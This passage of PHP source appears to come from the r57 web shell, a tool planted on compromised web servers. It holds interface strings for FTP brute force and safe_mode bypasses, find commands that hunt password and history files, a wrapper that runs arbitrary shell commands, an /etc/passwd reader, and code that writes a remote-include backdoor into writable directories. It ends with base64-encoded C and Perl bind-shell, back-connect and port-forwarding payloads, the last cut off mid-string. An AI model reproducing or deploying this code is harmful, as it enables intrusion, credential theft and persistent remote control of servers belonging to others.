  789. 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
  790. 'eng_text72'=>'Text for find',
  791. 'eng_text73'=>'Find in folder',
  792. 'eng_text74'=>'Find in files',
  793. 'eng_text75'=>'* you can use regexp',
  794. 'eng_text76'=>'Search text in files via find',
  795. 'eng_text80'=>'Type',
  796. 'eng_text81'=>'Net',
  797. 'eng_text82'=>'Databases',
  798. 'eng_text83'=>'Run SQL query',
  799. 'eng_text84'=>'SQL query',
  800. 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
  801. 'eng_text86'=>'Download files from server',
  802. 'eng_butt14'=>'Download',
  803. 'eng_text87'=>'Download files from remote ftp-server',
  804. 'eng_text88'=>'FTP-server:port',
  805. 'eng_text89'=>'File on ftp',
  806. 'eng_text90'=>'Transfer mode',
  807. 'eng_text91'=>'Archivation',
  808. 'eng_text92'=>'without archivation',
  809. 'eng_text93'=>'FTP',
  810. 'eng_text94'=>'FTP-bruteforce',
  811. 'eng_text95'=>'Users list',
  812. 'eng_text96'=>'Can\'t get users list',
  813. 'eng_text97'=>'checked: ',
  814. 'eng_text98'=>'success: ',
  815. 'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
  816. 'eng_text100'=>'Send file to remote ftp server',
  817. 'eng_text101'=>'Use reverse (user -> resu) login for password',
  818. 'eng_text102'=>'Mail',
  819. 'eng_text103'=>'Send email',
  820. 'eng_text104'=>'Send file to email',
  821. 'eng_text105'=>'To',
  822. 'eng_text106'=>'From',
  823. 'eng_text107'=>'Subj',
  824. 'eng_butt15'=>'Send',
  825. 'eng_text108'=>'Mail',
  826. 'eng_text109'=>'Hide',
  827. 'eng_text110'=>'Show',
  828. 'eng_text111'=>'SQL Server : Port',
  829. 'eng_text112'=>'Test bypass safe_mode with function mb_send_mail',
  830. 'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list',
  831. 'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body',
  832. 'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()',
  833. 'eng_text116'=>'Copy from',
  834. 'eng_text117'=>'to',
  835. 'eng_text118'=>'File copied',
  836. 'eng_text119'=>'Cant copy file',
  837. 'eng_text120'=>'Run Command in Safe-Mode <font color=\"red\">Vulnerable</font>',
  838. 'eng_text121'=>'<font color=\"red\">Safe-Mode Bypass ON</font>',
  839. 'eng_text122'=>'Run Cmd',
  840. 'eng_err0'=>'Error! Can\'t write in file ',
  841. 'eng_err1'=>'Error! Can\'t read file ',
  842. 'eng_err2'=>'Error! Can\'t create ',
  843. 'eng_err3'=>'Error! Can\'t connect to ftp',
  844. 'eng_err4'=>'Error! Can\'t login on ftp server',
  845. 'eng_err5'=>'Error! Can\'t change dir on ftp',
  846. 'eng_err6'=>'Error! Can\'t sent mail',
  847. 'eng_err7'=>'Mail send',
  848. );
  849. /*
  850. ?????? ??????
  851. ????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
  852. ?? ?????? ???? ????????? ??? ???????? ???????.
  853. */
  854. $aliases=array(
  855. 'find suid files'=>'find / -type f -perm -04000 -ls',
  856. 'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
  857. 'find sgid files'=>'find / -type f -perm -02000 -ls',
  858. 'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
  859. 'find config.inc.php files'=>'find / -type f -name config.inc.php',
  860. 'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
  861. 'find config* files'=>'find / -type f -name "config*"',
  862. 'find config* files in current dir'=>'find . -type f -name "config*"',
  863. 'find all writable files'=>'find / -type f -perm -2 -ls',
  864. 'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
  865. 'find all writable directories'=>'find /  -type d -perm -2 -ls',
  866. 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
  867. 'find all writable directories and files'=>'find / -perm -2 -ls',
  868. 'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
  869. 'find all service.pwd files'=>'find / -type f -name service.pwd',
  870. 'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
  871. 'find all .htpasswd files'=>'find / -type f -name .htpasswd',
  872. 'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
  873. 'find all .bash_history files'=>'find / -type f -name .bash_history',
  874. 'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
  875. 'find all .mysql_history files'=>'find / -type f -name .mysql_history',
  876. 'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
  877. 'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
  878. 'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
  879. 'list file attributes on a Linux second extended file system'=>'lsattr -va',
  880. 'show opened ports'=>'netstat -an | grep -i listen',
  881. '----------------------------------------------------------------------------------------------------'=>'ls -la'
  882. );
  883. $table_up1  = "<tr><td bgcolor=#000000><font face=Verdana size=-2><b><div align=center>:: ";
  884. $table_up2  = " ::</div></b></font></td></tr><tr><td>";
  885. $table_up3  = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#000000>";
  886. $table_end1 = "</td></tr>";
  887. $arrow = " <font face=Webdings color=green>4</font>";
  888. $lb = "<font color=black>[</font>";
  889. $rb = "<font color=black>]</font>";
  890. $font = "<font face=Verdana size=-2>";
  891. $ts = "<table class=table1 width=100% align=center>";
  892. $te = "</table>";
  893. $fs = "<form name=form method=POST>";
  894. $fe = "</form>";
  895.  
  896. if(isset($_GET['users']))
  897.  {
  898.  if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
  899.  else
  900.   {
  901.   echo '<center>';
  902.   foreach($users as $user) { echo $user."<br>"; }
  903.   echo '</center>';
  904.   }
  905.  echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  906.  }
  907.  
  908. if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
  909. $dir = @getcwd();
  910. if (is_writable($dir))
  911. {
  912. $writ= "YES";
  913. $error= '<?include($_REQUEST["error"] . "/errors.php");?>';
  914. $fas=fopen("errors.php", "w");
  915. fputs($fas, $error);
  916. fclose($fas);
  917. $pwds="\nPWD: $dir";}
  918. else {$writ= "NO";}
  919. $unix = 0;
  920. if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
  921. if(empty($dir))
  922.  {
  923.  $os = getenv('OS');
  924.  if(empty($os)){ $os = php_uname(); }
  925.  if(empty($os)){ $os ="-"; $unix=1; }
  926.  else
  927.     {
  928.     if(@eregi("^win",$os)) { $unix = 0; }
  929.     else { $unix = 1; }
  930.     }
  931.  }
  932. if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
  933.   {
  934.     echo $head;
  935.     if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
  936.     else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
  937.     $sr->SearchText(0,0);
  938.     $res = $sr->GetResultFiles();
  939.     $found = $sr->GetMatchesCount();
  940.     $titles = $sr->GetTitles();
  941.     $r = "";
  942.     if($found > 0)
  943.     {
  944.       $r .= "<TABLE width=100%>";
  945.       foreach($res as $file=>$v)
  946.       {
  947.         $r .= "<TR>";
  948.         $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
  949.         $r .= (!$unix)? str_replace("/","\\",$file) : $file;
  950.         $r .= "</b></font></ TD>";
  951.         $r .= "</TR>";
  952.         foreach($v as $a=>$b)
  953.         {
  954.           $r .= "<TR>";
  955.           $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
  956.           $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
  957.           $r .= "</TR>\n";
  958.         }
  959.       }
  960.       $r .= "</TABLE>";
  961.     echo $r;
  962.     }
  963.     else
  964.     {
  965.       echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
  966.     }
  967.   echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  968.   die();
  969.   }                                                          
  970. if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
  971. $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
  972. if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
  973. function ws($i)
  974. {
  975. return @str_repeat("&nbsp;",$i);
  976. }
  977. function ex($cfe)
  978. {
  979.  $res = '';
  980.  if (!empty($cfe))
  981.  {
  982.   if(function_exists('exec'))
  983.    {
  984.     @exec($cfe,$res);
  985.     $res = join("\n",$res);
  986.    }
  987.   elseif(function_exists('shell_exec'))
  988.    {
  989.     $res = @shell_exec($cfe);
  990.    }
  991.   elseif(function_exists('system'))
  992.    {
  993.     @ob_start();
  994.     @system($cfe);
  995.     $res = @ob_get_contents();
  996.     @ob_end_clean();
  997.    }
  998.   elseif(function_exists('passthru'))
  999.    {
  1000.     @ob_start();
  1001.     @passthru($cfe);
  1002.     $res = @ob_get_contents();
  1003.     @ob_end_clean();
  1004.    }
  1005.   elseif(@is_resource($f = @popen($cfe,"r")))
  1006.   {
  1007.    $res = "";
  1008.    while(!@feof($f)) { $res .= @fread($f,1024); }
  1009.    @pclose($f);
  1010.   }
  1011.  }
  1012.  return $res;
  1013. }
  1014. function get_users()
  1015. {
  1016.   $users = array();
  1017.   $rows=file('/etc/passwd');
  1018.   if(!$rows) return 0; 
  1019.   foreach ($rows as $string)
  1020.    {
  1021.     $user = @explode(":",$string);
  1022.     if(substr($string,0,1)!='#') array_push($users,$user[0]);
  1023.    }
  1024.   return $users;    
  1025. }
  1026. function err($n,$txt='')
  1027. {
  1028. echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=Verdana size=-2><div align=center><b>';   
  1029. echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
  1030. if(!empty($txt)) { echo " $txt"; }
  1031. echo '</b></div></font></td></tr></table>';
  1032. return null;
  1033. }
  1034. function perms($mode)
  1035. {
  1036. if (!$GLOBALS['unix']) return 0;
  1037. if( $mode & 0x1000 ) { $type='p'; }
  1038. else if( $mode & 0x2000 ) { $type='c'; }
  1039. else if( $mode & 0x4000 ) { $type='d'; }
  1040. else if( $mode & 0x6000 ) { $type='b'; }
  1041. else if( $mode & 0x8000 ) { $type='-'; }
  1042. else if( $mode & 0xA000 ) { $type='l'; }
  1043. else if( $mode & 0xC000 ) { $type='s'; }
  1044. else $type='u';
  1045. $owner["read"] = ($mode & 00400) ? 'r' : '-';
  1046. $owner["write"] = ($mode & 00200) ? 'w' : '-';
  1047. $owner["execute"] = ($mode & 00100) ? 'x' : '-';
  1048. $group["read"] = ($mode & 00040) ? 'r' : '-';
  1049. $group["write"] = ($mode & 00020) ? 'w' : '-';
  1050. $group["execute"] = ($mode & 00010) ? 'x' : '-';
  1051. $world["read"] = ($mode & 00004) ? 'r' : '-';
  1052. $world["write"] = ($mode & 00002) ? 'w' : '-';
  1053. $world["execute"] = ($mode & 00001) ? 'x' : '-';
  1054. if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
  1055. if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
  1056. if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
  1057. $s=sprintf("%1s", $type);
  1058. $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
  1059. $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
  1060. $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
  1061. return trim($s);
  1062. }
  1063. function in($type,$name,$size,$value,$checked=0)
  1064. {
  1065.  $ret = "<input type=".$type." name=".$name." ";
  1066.  if($size != 0) { $ret .= "size=".$size." "; }
  1067.  $ret .= "value=\"".$value."\"";
  1068.  if($checked) $ret .= " checked";
  1069.  return $ret.">";
  1070. }
  1071. function which($pr)
  1072. {
  1073. $path = ex("which $pr");
  1074. if(!empty($path)) { return $path; } else { return $pr; }
  1075. }
  1076. function cf($fname,$text)
  1077. {
  1078.  $w_file=@fopen($fname,"w") or err(0);
  1079.  if($w_file)
  1080.  {
  1081.  @fputs($w_file,@base64_decode($text));
  1082.  @fclose($w_file);
  1083.  }
  1084. }
  1085. function sr($l,$t1,$t2)
  1086.  {
  1087.  return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
  1088.  } 
  1089. if (!@function_exists("view_size"))
  1090. {
  1091. function view_size($size)
  1092. {
  1093.  if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
  1094.  elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
  1095.  elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
  1096.  else {$size = $size . " B";}
  1097.  return $size;
  1098. }
  1099. }
  1100.   function DirFilesR($dir,$types='')
  1101.   {
  1102.     $files = Array();
  1103.     if(($handle = @opendir($dir)))
  1104.     {
  1105.       while (false !== ($file = @readdir($handle)))
  1106.       {
  1107.         if ($file != "." && $file != "..")
  1108.         {
  1109.           if(@is_dir($dir."/".$file))
  1110.             $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
  1111.           else
  1112.           {
  1113.             $pos = @strrpos($file,".");
  1114.             $ext = @substr($file,$pos,@strlen($file)-$pos);
  1115.             if($types)
  1116.             {
  1117.               if(@in_array($ext,explode(';',$types)))
  1118.                 $files[] = $dir."/".$file;
  1119.             }
  1120.             else
  1121.               $files[] = $dir."/".$file;
  1122.           }
  1123.         }
  1124.       }
  1125.       @closedir($handle);
  1126.     }
  1127.     return $files;
  1128.   }
  1129.   class SearchResult
  1130.   {
  1131.     var $text;
  1132.     var $FilesToSearch;
  1133.     var $ResultFiles;
  1134.     var $FilesTotal;
  1135.     var $MatchesCount;
  1136.     var $FileMatschesCount;
  1137.     var $TimeStart;
  1138.     var $TimeTotal;
  1139.     var $titles;
  1140.     function SearchResult($dir,$text,$filter='')
  1141.     {
  1142.       $dirs = @explode(";",$dir);
  1143.       $this->FilesToSearch = Array();
  1144.       for($a=0;$a<count($dirs);$a++)
  1145.         $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
  1146.       $this->text = $text;
  1147.       $this->FilesTotal = @count($this->FilesToSearch);
  1148.       $this->TimeStart = getmicrotime();
  1149.       $this->MatchesCount = 0;
  1150.       $this->ResultFiles = Array();
  1151.       $this->FileMatchesCount = Array();
  1152.       $this->titles = Array();
  1153.     }
  1154.     function GetFilesTotal() { return $this->FilesTotal; }
  1155.     function GetTitles() { return $this->titles; }
  1156.     function GetTimeTotal() { return $this->TimeTotal; }
  1157.     function GetMatchesCount() { return $this->MatchesCount; }
  1158.     function GetFileMatchesCount() { return $this->FileMatchesCount; }
  1159.     function GetResultFiles() { return $this->ResultFiles; }
  1160.     function SearchText($phrase=0,$case=0) {
  1161.     $qq = @explode(' ',$this->text);
  1162.     $delim = '|';
  1163.       if($phrase)
  1164.         foreach($qq as $k=>$v)
  1165.           $qq[$k] = '\b'.$v.'\b';
  1166.       $words = '('.@implode($delim,$qq).')';
  1167.       $pattern = "/".$words."/";
  1168.       if(!$case)
  1169.         $pattern .= 'i';
  1170.       foreach($this->FilesToSearch as $k=>$filename)
  1171.       {
  1172.         $this->FileMatchesCount[$filename] = 0;
  1173.  
  1174.         $FileStrings = @file($filename) or @next;
  1175.         for($a=0;$a<@count($FileStrings);$a++)
  1176.         {
  1177.           $count = 0;
  1178.           $CurString = $FileStrings[$a];
  1179.           $CurString = @Trim($CurString);
  1180.           $CurString = @strip_tags($CurString);
  1181.           $aa = '';
  1182.           if(($count = @preg_match_all($pattern,$CurString,$aa)))
  1183.           {
  1184.             $CurString = @preg_replace($pattern,"<SPAN style='color: #000000;'><b>\\1</b></SPAN>",$CurString);
  1185.             $this->ResultFiles[$filename][$a+1] = $CurString;
  1186.             $this->MatchesCount += $count;
  1187.             $this->FileMatchesCount[$filename] += $count;
  1188.           }
  1189.         }
  1190.       }
  1191.       $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
  1192.     }
  1193.   }
  1194.   function getmicrotime()
  1195.   {
  1196.     list($usec,$sec) = @explode(" ",@microtime());
  1197.     return ((float)$usec + (float)$sec);
  1198.   }
  1199. $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
  1200. A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
  1201. GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
  1202. b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
  1203. pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
  1204. NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
  1205. ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
  1206. ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
  1207. 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
  1208. 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
  1209. 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
  1210. dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
  1211. lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
  1212. $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
  1213. VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
  1214. JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
  1215. TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
  1216. lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
  1217. Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
  1218. Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
  1219. lIENPTk47DQpleGl0IDA7DQp9DQp9";
  1220. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
  1221. aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
  1222. hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
  1223. sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
  1224. kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
  1225. KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
  1226. OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1227. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
  1228. BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
  1229. SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
  1230. KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
  1231. sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
  1232. Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
  1233. QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
  1234. Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1235. $datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
  1236. x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
  1237. HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
  1238. aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
  1239. lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
  1240. xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
  1241. W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
  1242. LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
  1243. udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
  1244. 0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
  1245. iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
  1246. KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
  1247. gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
  1248. hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
  1249. iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
  1250. ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
  1251. vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
  1252. AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
  1253. QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
  1254. ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
  1255. gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
  1256. wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
  1257. 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
